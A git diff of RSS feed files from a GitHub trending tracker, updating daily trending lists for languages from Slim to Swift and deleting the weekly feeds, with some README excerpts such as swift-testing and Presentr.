GitHub Slim Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:52Z + 2023-09-25T01:40:56Z Daily Trending of Slim in GitHub \ No newline at end of file diff --git a/slim/weekly/index.xml b/slim/weekly/index.xml deleted file mode 100644 index a27a5b7a666..00000000000 --- a/slim/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Slim Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:39Z - Weekly Trending of Slim in GitHub - - \ No newline at end of file diff --git a/smali/daily/index.xml b/smali/daily/index.xml index 32aa40e7429..8b8f7d27c6f 100644 --- a/smali/daily/index.xml +++ b/smali/daily/index.xml @@ -1,7 +1,7 @@ GitHub Smali Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:53Z + 2023-09-25T01:41:01Z Daily Trending of Smali in GitHub \ No newline at end of file diff --git a/smali/weekly/index.xml b/smali/weekly/index.xml deleted file mode 100644 index 44d9c339f32..00000000000 --- a/smali/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Smali Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:41Z - Weekly Trending of Smali in GitHub - - \ No newline at end of file diff --git a/smalltalk/daily/index.xml b/smalltalk/daily/index.xml index f8393f7e45c..f69c74d9bc5 100644 --- a/smalltalk/daily/index.xml +++ b/smalltalk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Smalltalk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:57Z + 2023-09-25T01:41:00Z Daily Trending of Smalltalk in GitHub \ No newline at end of file diff --git a/smalltalk/weekly/index.xml b/smalltalk/weekly/index.xml deleted file mode 100644 index 78d71a8867d..00000000000 --- a/smalltalk/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Smalltalk Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:45Z - Weekly Trending of Smalltalk in GitHub - - \ No newline at end of file diff --git a/smarty/daily/index.xml b/smarty/daily/index.xml index aff16c07f6a..6d67aa49410 100644 --- a/smarty/daily/index.xml +++ b/smarty/daily/index.xml @@ -1,21 +1,7 @@ GitHub Smarty Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:59Z + 2023-09-25T01:41:03Z Daily Trending of Smarty in GitHub - - aws-samples/eks-blueprints-add-ons - 2023-09-24T01:41:59Z - tag:github.com,2023-09-24:/aws-samples/eks-blueprints-add-ons - - <p></p><hr> - - - Acerta-Connect-Evolution/ce-helm-charts - 2023-09-24T01:41:59Z - tag:github.com,2023-09-24:/Acerta-Connect-Evolution/ce-helm-charts - - <p></p><hr> - \ No newline at end of file diff --git a/smarty/weekly/index.xml b/smarty/weekly/index.xml deleted file mode 100644 index d26d42b5b1e..00000000000 --- a/smarty/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Smarty Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:43Z - Weekly Trending of Smarty in GitHub - - - telekom-mms/chainlink-helm-charts - 2023-09-24T02:01:43Z - tag:github.com,2023-09-24:/telekom-mms/chainlink-helm-charts - - <p></p><hr> - - - seanfisk/python-project-template - 2023-09-24T02:01:43Z - tag:github.com,2023-09-24:/seanfisk/python-project-template - - <p>A template Python project with a focus on best practices.</p><hr> - - \ No newline at end of file diff --git a/smpl/daily/index.xml b/smpl/daily/index.xml index 2a5a6d284cd..257f5cdb8dc 100644 --- a/smpl/daily/index.xml +++ b/smpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub SmPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:01Z + 2023-09-25T01:41:06Z Daily Trending of SmPL in GitHub \ No newline at end of file diff --git a/smpl/weekly/index.xml b/smpl/weekly/index.xml deleted file mode 100644 index d9bc9476390..00000000000 --- a/smpl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SmPL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:47Z - Weekly Trending of SmPL in GitHub - - \ No newline at end of file diff --git a/smt/daily/index.xml b/smt/daily/index.xml index 048b60c5fed..05c1e60d664 100644 --- a/smt/daily/index.xml +++ b/smt/daily/index.xml @@ -1,7 +1,7 @@ GitHub SMT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:02Z + 2023-09-25T01:41:06Z Daily Trending of SMT in GitHub \ No newline at end of file diff --git a/smt/weekly/index.xml b/smt/weekly/index.xml deleted file mode 100644 index bae66275c05..00000000000 --- a/smt/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SMT Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:48Z - Weekly Trending of SMT in GitHub - - \ No newline at end of file diff --git a/solidity/daily/index.xml b/solidity/daily/index.xml index 97ee52de561..46642275616 100644 --- a/solidity/daily/index.xml +++ b/solidity/daily/index.xml @@ -1,7 +1,28 @@ GitHub Solidity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:05Z + 2023-09-25T01:41:09Z Daily Trending of Solidity in GitHub + + essential-contributions/ERC-7521 + 2023-09-25T01:41:09Z + tag:github.com,2023-09-25:/essential-contributions/ERC-7521 + + <p></p><hr> + + + code-423n4/2023-09-maia + 2023-09-25T01:41:09Z + tag:github.com,2023-09-25:/code-423n4/2023-09-maia + + <p></p><hr> + + + 0xfuturistic/emily + 2023-09-25T01:41:09Z + tag:github.com,2023-09-25:/0xfuturistic/emily + + <p>🪄 Emily: A Protocol for Credible Commitments on Ethereum</p><hr> + \ No newline at end of file diff --git a/solidity/weekly/index.xml b/solidity/weekly/index.xml deleted file mode 100644 index a83977eae24..00000000000 --- a/solidity/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Solidity Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:51Z - Weekly Trending of Solidity in GitHub - - - Mirror-Tang/Account-abstraction-coding-security-library - 2023-09-24T02:01:51Z - tag:github.com,2023-09-24:/Mirror-Tang/Account-abstraction-coding-security-library - - <p>We would like to produce a secure development guide with test cases, which will be presented as a test case code repository with help files. At the same time, we hope to collect as many examples of errors that have occurred or are likely to occur during the use of the Account Abstraction protocol as possible for developers' reference.</p><hr> - - - chiru-labs/ERC721A-Upgradeable - 2023-09-24T02:01:51Z - tag:github.com,2023-09-24:/chiru-labs/ERC721A-Upgradeable - - <p></p><hr> - - - Cyfrin/2023-09-ditto - 2023-09-24T02:01:51Z - tag:github.com,2023-09-24:/Cyfrin/2023-09-ditto - - <p></p><hr> - - \ No newline at end of file diff --git a/soong/daily/index.xml b/soong/daily/index.xml index db65e69d08e..05c7e3b75ce 100644 --- a/soong/daily/index.xml +++ b/soong/daily/index.xml @@ -1,7 +1,7 @@ GitHub Soong Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:08Z + 2023-09-25T01:41:10Z Daily Trending of Soong in GitHub \ No newline at end of file diff --git a/soong/weekly/index.xml b/soong/weekly/index.xml deleted file mode 100644 index d3d557ab284..00000000000 --- a/soong/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Soong Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:54Z - Weekly Trending of Soong in GitHub - - \ No newline at end of file diff --git a/sourcepawn/daily/index.xml b/sourcepawn/daily/index.xml index 959e6c2faa1..d18bf92569b 100644 --- a/sourcepawn/daily/index.xml +++ b/sourcepawn/daily/index.xml @@ -1,7 +1,7 @@ GitHub SourcePawn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:09Z + 2023-09-25T01:41:11Z Daily Trending of SourcePawn in GitHub \ No newline at end of file diff --git a/sourcepawn/weekly/index.xml b/sourcepawn/weekly/index.xml deleted file mode 100644 index dc8dced4337..00000000000 --- a/sourcepawn/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SourcePawn Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:55Z - Weekly Trending of SourcePawn in GitHub - - \ No newline at end of file diff --git a/sparql/daily/index.xml b/sparql/daily/index.xml index f883b342d90..e6e449bc4db 100644 --- a/sparql/daily/index.xml +++ b/sparql/daily/index.xml @@ -1,7 +1,7 @@ GitHub SPARQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:07Z + 2023-09-25T01:41:12Z Daily Trending of SPARQL in GitHub \ No newline at end of file diff --git a/sparql/weekly/index.xml b/sparql/weekly/index.xml deleted file mode 100644 index a9584dee767..00000000000 --- a/sparql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SPARQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:52Z - Weekly Trending of SPARQL in GitHub - - \ No newline at end of file diff --git a/spline-font-database/daily/index.xml b/spline-font-database/daily/index.xml index c96c6721a4a..d969939de08 100644 --- a/spline-font-database/daily/index.xml +++ b/spline-font-database/daily/index.xml @@ -1,7 +1,7 @@ GitHub Spline Font Database Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:06Z + 2023-09-25T01:41:13Z Daily Trending of Spline Font Database in GitHub \ No newline at end of file diff --git a/spline-font-database/weekly/index.xml b/spline-font-database/weekly/index.xml deleted file mode 100644 index 1c8ab4b798e..00000000000 --- a/spline-font-database/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Spline Font Database Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:53Z - Weekly Trending of Spline Font Database in GitHub - - \ No newline at end of file diff --git a/sqf/daily/index.xml b/sqf/daily/index.xml index 9501e7900c3..fb651a5f9f4 100644 --- a/sqf/daily/index.xml +++ b/sqf/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:13Z + 2023-09-25T01:41:15Z Daily Trending of SQF in GitHub \ No newline at end of file diff --git a/sqf/weekly/index.xml b/sqf/weekly/index.xml deleted file mode 100644 index 114783da271..00000000000 --- a/sqf/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SQF Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:58Z - Weekly Trending of SQF in GitHub - - \ No newline at end of file diff --git a/sql/daily/index.xml b/sql/daily/index.xml index 83b7a308fc3..7989821f690 100644 --- a/sql/daily/index.xml +++ b/sql/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:12Z + 2023-09-25T01:41:17Z Daily Trending of SQL in GitHub \ No newline at end of file diff --git a/sql/weekly/index.xml b/sql/weekly/index.xml deleted file mode 100644 index 50072d4555b..00000000000 --- a/sql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:57Z - Weekly Trending of SQL in GitHub - - \ No newline at end of file diff --git a/sqlpl/daily/index.xml b/sqlpl/daily/index.xml index 66fc4fe9105..9772b0f5f2a 100644 --- a/sqlpl/daily/index.xml +++ b/sqlpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQLPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:10Z + 2023-09-25T01:41:16Z Daily Trending of SQLPL in GitHub \ No newline at end of file diff --git a/sqlpl/weekly/index.xml b/sqlpl/weekly/index.xml deleted file mode 100644 index fe93d336539..00000000000 --- a/sqlpl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SQLPL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:56Z - Weekly Trending of SQLPL in GitHub - - \ No newline at end of file diff --git a/squirrel/daily/index.xml b/squirrel/daily/index.xml index 692aec5e4e7..67a78756632 100644 --- a/squirrel/daily/index.xml +++ b/squirrel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Squirrel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:11Z + 2023-09-25T01:41:14Z Daily Trending of Squirrel in GitHub \ No newline at end of file diff --git a/squirrel/weekly/index.xml b/squirrel/weekly/index.xml deleted file mode 100644 index de15529803e..00000000000 --- a/squirrel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Squirrel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:58Z - Weekly Trending of Squirrel in GitHub - - \ No newline at end of file diff --git a/srecode-template/daily/index.xml b/srecode-template/daily/index.xml index cd615310ab7..5f2c3465e42 100644 --- a/srecode-template/daily/index.xml +++ b/srecode-template/daily/index.xml @@ -1,7 +1,7 @@ GitHub SRecode Template Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:17Z + 2023-09-25T01:41:18Z Daily Trending of SRecode Template in GitHub \ No newline at end of file diff --git a/srecode-template/weekly/index.xml b/srecode-template/weekly/index.xml deleted file mode 100644 index 436ad8f9173..00000000000 --- a/srecode-template/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SRecode Template Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:00Z - Weekly Trending of SRecode Template in GitHub - - \ No newline at end of file diff --git a/ssh-config/daily/index.xml b/ssh-config/daily/index.xml index 4785a78ace6..ecae096d1d5 100644 --- a/ssh-config/daily/index.xml +++ b/ssh-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub SSH Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:14Z + 2023-09-25T01:41:19Z Daily Trending of SSH Config in GitHub \ No newline at end of file diff --git a/ssh-config/weekly/index.xml b/ssh-config/weekly/index.xml deleted file mode 100644 index 87b7df05a49..00000000000 --- a/ssh-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SSH Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:02Z - Weekly Trending of SSH Config in GitHub - - \ No newline at end of file diff --git a/stan/daily/index.xml b/stan/daily/index.xml index 6915efa0b18..0d33c7e536c 100644 --- a/stan/daily/index.xml +++ b/stan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:15Z + 2023-09-25T01:41:20Z Daily Trending of Stan in GitHub \ No newline at end of file diff --git a/stan/weekly/index.xml b/stan/weekly/index.xml deleted file mode 100644 index 535e44f1523..00000000000 --- a/stan/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Stan Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:00Z - Weekly Trending of Stan in GitHub - - \ No newline at end of file diff --git a/standard-ml/daily/index.xml b/standard-ml/daily/index.xml index c07532a26ff..c539f5908d7 100644 --- a/standard-ml/daily/index.xml +++ b/standard-ml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Standard ML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:16Z + 2023-09-25T01:41:21Z Daily Trending of Standard ML in GitHub \ No newline at end of file diff --git a/standard-ml/weekly/index.xml b/standard-ml/weekly/index.xml deleted file mode 100644 index b635f1802de..00000000000 --- a/standard-ml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Standard ML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:01Z - Weekly Trending of Standard ML in GitHub - - \ No newline at end of file diff --git a/starlark/daily/index.xml b/starlark/daily/index.xml index a5275bcd8c8..0b0029824ec 100644 --- a/starlark/daily/index.xml +++ b/starlark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Starlark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:23Z + 2023-09-25T01:41:26Z Daily Trending of Starlark in GitHub \ No newline at end of file diff --git a/starlark/weekly/index.xml b/starlark/weekly/index.xml deleted file mode 100644 index 03213a76a28..00000000000 --- a/starlark/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Starlark Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:08Z - Weekly Trending of Starlark in GitHub - - \ No newline at end of file diff --git a/stata/daily/index.xml b/stata/daily/index.xml index 5aea4756619..d7d4b1e8c1b 100644 --- a/stata/daily/index.xml +++ b/stata/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stata Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:20Z + 2023-09-25T01:41:22Z Daily Trending of Stata in GitHub \ No newline at end of file diff --git a/stata/weekly/index.xml b/stata/weekly/index.xml deleted file mode 100644 index c68d2faa156..00000000000 --- a/stata/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Stata Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:04Z - Weekly Trending of Stata in GitHub - - \ No newline at end of file diff --git a/ston/daily/index.xml b/ston/daily/index.xml index bdad3c26fec..5d35d8a5d17 100644 --- a/ston/daily/index.xml +++ b/ston/daily/index.xml @@ -1,7 +1,7 @@ GitHub STON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:26Z + 2023-09-25T01:41:29Z Daily Trending of STON in GitHub \ No newline at end of file diff --git a/ston/weekly/index.xml b/ston/weekly/index.xml deleted file mode 100644 index 74c3e47b56a..00000000000 --- a/ston/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub STON Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:12Z - Weekly Trending of STON in GitHub - - \ No newline at end of file diff --git a/stringtemplate/daily/index.xml b/stringtemplate/daily/index.xml index da6b6bce2d9..bfe0134e0fb 100644 --- a/stringtemplate/daily/index.xml +++ b/stringtemplate/daily/index.xml @@ -1,7 +1,7 @@ GitHub StringTemplate Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:25Z + 2023-09-25T01:41:27Z Daily Trending of StringTemplate in GitHub \ No newline at end of file diff --git a/stringtemplate/weekly/index.xml b/stringtemplate/weekly/index.xml deleted file mode 100644 index bac78c8c894..00000000000 --- a/stringtemplate/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub StringTemplate Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:10Z - Weekly Trending of StringTemplate in GitHub - - \ No newline at end of file diff --git a/stylus/daily/index.xml b/stylus/daily/index.xml index a89882d3660..640a79ff2b5 100644 --- a/stylus/daily/index.xml +++ b/stylus/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stylus Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:28Z + 2023-09-25T01:41:31Z Daily Trending of Stylus in GitHub \ No newline at end of file diff --git a/stylus/weekly/index.xml b/stylus/weekly/index.xml deleted file mode 100644 index 4255b1d4b65..00000000000 --- a/stylus/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Stylus Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:11Z - Weekly Trending of Stylus in GitHub - - - saicaca/hexo-theme-vivia - 2023-09-24T02:02:11Z - tag:github.com,2023-09-24:/saicaca/hexo-theme-vivia - - <p>A clean and minimalist theme for Hexo.</p><hr> - - \ No newline at end of file diff --git a/subrip-text/daily/index.xml b/subrip-text/daily/index.xml index 7591a8ad34b..7ef09ef672f 100644 --- a/subrip-text/daily/index.xml +++ b/subrip-text/daily/index.xml @@ -1,7 +1,7 @@ GitHub SubRip Text Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:27Z + 2023-09-25T01:41:28Z Daily Trending of SubRip Text in GitHub \ No newline at end of file diff --git a/subrip-text/weekly/index.xml b/subrip-text/weekly/index.xml deleted file mode 100644 index d1bef627b74..00000000000 --- a/subrip-text/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SubRip Text Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:09Z - Weekly Trending of SubRip Text in GitHub - - \ No newline at end of file diff --git a/sugarss/daily/index.xml b/sugarss/daily/index.xml index 1eaefb0d473..8d0b533bda5 100644 --- a/sugarss/daily/index.xml +++ b/sugarss/daily/index.xml @@ -1,7 +1,7 @@ GitHub SugarSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:29Z + 2023-09-25T01:41:32Z Daily Trending of SugarSS in GitHub \ No newline at end of file diff --git a/sugarss/weekly/index.xml b/sugarss/weekly/index.xml deleted file mode 100644 index 63952596ffa..00000000000 --- a/sugarss/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SugarSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:13Z - Weekly Trending of SugarSS in GitHub - - \ No newline at end of file diff --git a/supercollider/daily/index.xml b/supercollider/daily/index.xml index 17a9907a562..fdc66c58da0 100644 --- a/supercollider/daily/index.xml +++ b/supercollider/daily/index.xml @@ -1,7 +1,7 @@ GitHub SuperCollider Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:30Z + 2023-09-25T01:41:33Z Daily Trending of SuperCollider in GitHub \ No newline at end of file diff --git a/supercollider/weekly/index.xml b/supercollider/weekly/index.xml deleted file mode 100644 index f26037d4abe..00000000000 --- a/supercollider/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SuperCollider Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:13Z - Weekly Trending of SuperCollider in GitHub - - \ No newline at end of file diff --git a/svelte/daily/index.xml b/svelte/daily/index.xml index 17170479851..28cab3a4e27 100644 --- a/svelte/daily/index.xml +++ b/svelte/daily/index.xml @@ -1,14 +1,28 @@ GitHub Svelte Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:34Z + 2023-09-25T01:41:38Z Daily Trending of Svelte in GitHub - penpenpng/markostr - 2023-09-24T01:42:34Z - tag:github.com,2023-09-24:/penpenpng/markostr - - <p></p><hr> + mithril-security/blind_chat + 2023-09-25T01:41:38Z + tag:github.com,2023-09-25:/mithril-security/blind_chat + + <p>A fully in-browser privacy solution to make Conversational AI privacy-friendly</p><hr> + + + daedalus-developers/daedalus.codes + 2023-09-25T01:41:38Z + tag:github.com,2023-09-25:/daedalus-developers/daedalus.codes + + <p>Home Page</p><hr> + + + roseto/platforma-ciorogarla + 2023-09-25T01:41:38Z + tag:github.com,2023-09-25:/roseto/platforma-ciorogarla + + <p>Aplicatia cross-platform</p><hr> \ No newline at end of file diff --git a/svelte/weekly/index.xml b/svelte/weekly/index.xml deleted file mode 100644 index da328a79196..00000000000 --- a/svelte/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Svelte Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:17Z - Weekly Trending of Svelte in GitHub - - - huntabyte/formsnap - 2023-09-24T02:02:17Z - tag:github.com,2023-09-24:/huntabyte/formsnap - - <p>Functional, accessible, and powerful form components for Svelte. 🫰</p><hr> - - \ No newline at end of file diff --git a/svg/daily/index.xml b/svg/daily/index.xml index a820b031241..8de20701d4d 100644 --- a/svg/daily/index.xml +++ b/svg/daily/index.xml @@ -1,7 +1,7 @@ GitHub SVG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:34Z + 2023-09-25T01:41:38Z Daily Trending of SVG in GitHub \ No newline at end of file diff --git a/svg/weekly/index.xml b/svg/weekly/index.xml deleted file mode 100644 index 9c96a4712a8..00000000000 --- a/svg/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SVG Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:17Z - Weekly Trending of SVG in GitHub - - \ No newline at end of file diff --git a/swift/daily/index.xml b/swift/daily/index.xml index 4d10a8cede0..eca21241bcb 100644 --- a/swift/daily/index.xml +++ b/swift/daily/index.xml @@ -1,14 +1,21 @@ GitHub Swift Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:42Z + 2023-09-25T01:41:49Z Daily Trending of Swift in GitHub - apple/swift-testing - 2023-09-24T01:42:42Z - tag:github.com,2023-09-24:/apple/swift-testing - - <p></p><hr><h1><code>swift-testing</code></h1> <!-- This source file is part of the Swift.org open source project Copyright (c) 2023 Apple Inc. and the Swift project authors Licensed under Apache License v2.0 with Runtime Library Exception See https://swift.org/LICENSE.txt for license information See https://swift.org/CONTRIBUTORS.txt for Swift project authors --> <p><code>swift-testing</code> is a modern, open-source testing library for Swift with powerful and expressive capabilities. It gives developers more confidence with less code.</p> <blockquote> <p>[!IMPORTANT] This package is under active, ongoing development. Its contents, including all interfaces and implementation details, are experimental and are subject to change or removal without notice.</p> <p>We welcome feedback and ideas from the Swift community. Please join us in the <a href="https://forums.swift.org/c/related-projects/swift-testing">Swift forums</a> and let us know what you think!</p> </blockquote> <h2>Feature overview</h2> <h3>Flexible test organization</h3> <p>Define test functions almost anywhere with a single attribute and group related tests into hierarchies using Swift's type system.</p> <h3>Customizable metadata</h3> <p>Dynamically enable or disable tests depending on runtime conditions, categorize tests using tags, and associate bugs directly with the tests that verify their fixes or reproduce their problems.</p> <h3>Scalable execution</h3> <p>Automatically parallelize tests in-process, integrate seamlessly with Swift concurrency, and parameterize test functions across wide ranges of inputs.</p> <h2>Supported platforms</h2> <p>The table below describes the current level of support that <code>swift-testing</code> has for various platforms:</p> <table> <thead> <tr> <th><strong>Platform</strong></th> <th><strong>Status</strong></th> </tr> </thead> <tbody> <tr> <td><strong>macOS</strong></td> <td>Supported</td> </tr> <tr> <td><strong>iOS</strong></td> <td>Supported</td> </tr> <tr> <td><strong>watchOS</strong></td> <td>Supported</td> </tr> <tr> <td><strong>tvOS</strong></td> <td>Supported</td> </tr> <tr> <td><strong>Ubuntu 22.04</strong></td> <td>Supported</td> </tr> <tr> <td><strong>Windows</strong></td> <td>Pending support for macros</td> </tr> </tbody> </table> <h2>Getting started</h2> <p><code>swift-testing</code> is under active development. We are working to integrate it with the rest of the Swift ecosystem, but you can try it out today by following the steps in our <a href="https://raw.githubusercontent.com/apple/swift-testing/main/Sources/Testing/Testing.docc/TemporaryGettingStarted.md">Getting Started</a> article.</p> + IcaliaLabs/Presentr + 2023-09-25T01:41:49Z + tag:github.com,2023-09-25:/IcaliaLabs/Presentr + + <p>Swift wrapper for custom ViewController presentations on iOS</p><hr><img src="http://danielozano.com/Presentr/Screenshots/PresentrLogo.png" width="700"> <p><a href="http://cocoapods.org/pods/Presentr"><img src="https://img.shields.io/cocoapods/v/Presentr.svg?style=flat" alt="Version"></a> <a href="https://github.com/Carthage/Carthage"><img src="https://img.shields.io/badge/Carthage-compatible-4BC51D.svg?style=flat" alt="Carthage compatible"></a> <a href="https://developer.apple.com/swift/"><img src="https://img.shields.io/badge/Swift-3.0-orange.svg?style=flat" alt="Swift 3.0"></a> <a href="http://cocoapods.org/pods/Presentr"><img src="https://img.shields.io/cocoapods/p/Presentr.svg?style=flat" alt="Platform"></a> <a href="http://cocoapods.org/pods/Presentr"><img src="https://img.shields.io/cocoapods/l/Presentr.svg?style=flat" alt="License"></a> <a href="https://codebeat.co/projects/github-com-icalialabs-presentr"><img src="https://codebeat.co/badges/f89d5cdf-b0c3-441d-b4e1-d56dcea48544" alt="codebeat badge"></a> <img src="https://img.shields.io/badge/With%20love%20by-Icalia%20Labs-ff3434.svg?sanitize=true" alt="Made with Love by Icalia Labs"></p> <p><em>Presentr is a simple customizable wrapper for the Custom View Controller Presentation API introduced in iOS 8.</em></p> <h2>About</h2> <p>iOS let's you modally present any view controller, but if you want the presented view controller to not cover the whole screen or modify anything about its presentation or transition you have to use the Custom View Controller Presentation API's.</p> <p>This can be cumbersome, specially if you do it multiple times in your app. <strong>Presentr</strong> simplifies all of this. You just have to configure your <strong>Presentr</strong> object depending on how you want you view controller to be presented, and the framework handles everything for you.</p> <p><img src="http://danielozano.com/Presentr/Gifs/AlertSlow.gif" width="192"><img src="http://danielozano.com/Presentr/Gifs/PopupSlow.gif" width="192"><img src="http://danielozano.com/Presentr/Gifs/TopHalfSlow.gif" width="192"><img src="http://danielozano.com/Presentr/Gifs/OtherSlow.gif" width="192"></p> <p><em>These are just examples of an Alert UI presented in multiple ways. But, with Presentr you can present any custom View Controller you create in any of the Presentation types, or create your own custom one!</em></p> <h2>What's New</h2> <h4>1.9</h4> <ul> <li>Support for Xcode 10 / iOS 12 / Swift 4.2</li> <li>Last version before big 2.0 update</li> </ul> <h4>1.3.1</h4> <ul> <li>New <code>FlipHorizontal</code> transition type (thanks to @falkobuttler)</li> <li>New <code>CoverFromCorner</code> transition type (thanks to @freakdragon)</li> <li>New <code>customOrientation</code> ModalSize (thanks to @freakdragon)</li> <li>KeyboardTranslation now works for all Presentation Type's (thanks to @oxozle)</li> <li>Other bug fixes &amp; improvements</li> </ul> <h4>1.3</h4> <ul> <li>Swift 4 / Xcode 9 / iOS 11 Support</li> <li>Bug fixes</li> </ul> <h4>1.2.0</h4> <ul> <li>You can add custom BackgroundView. 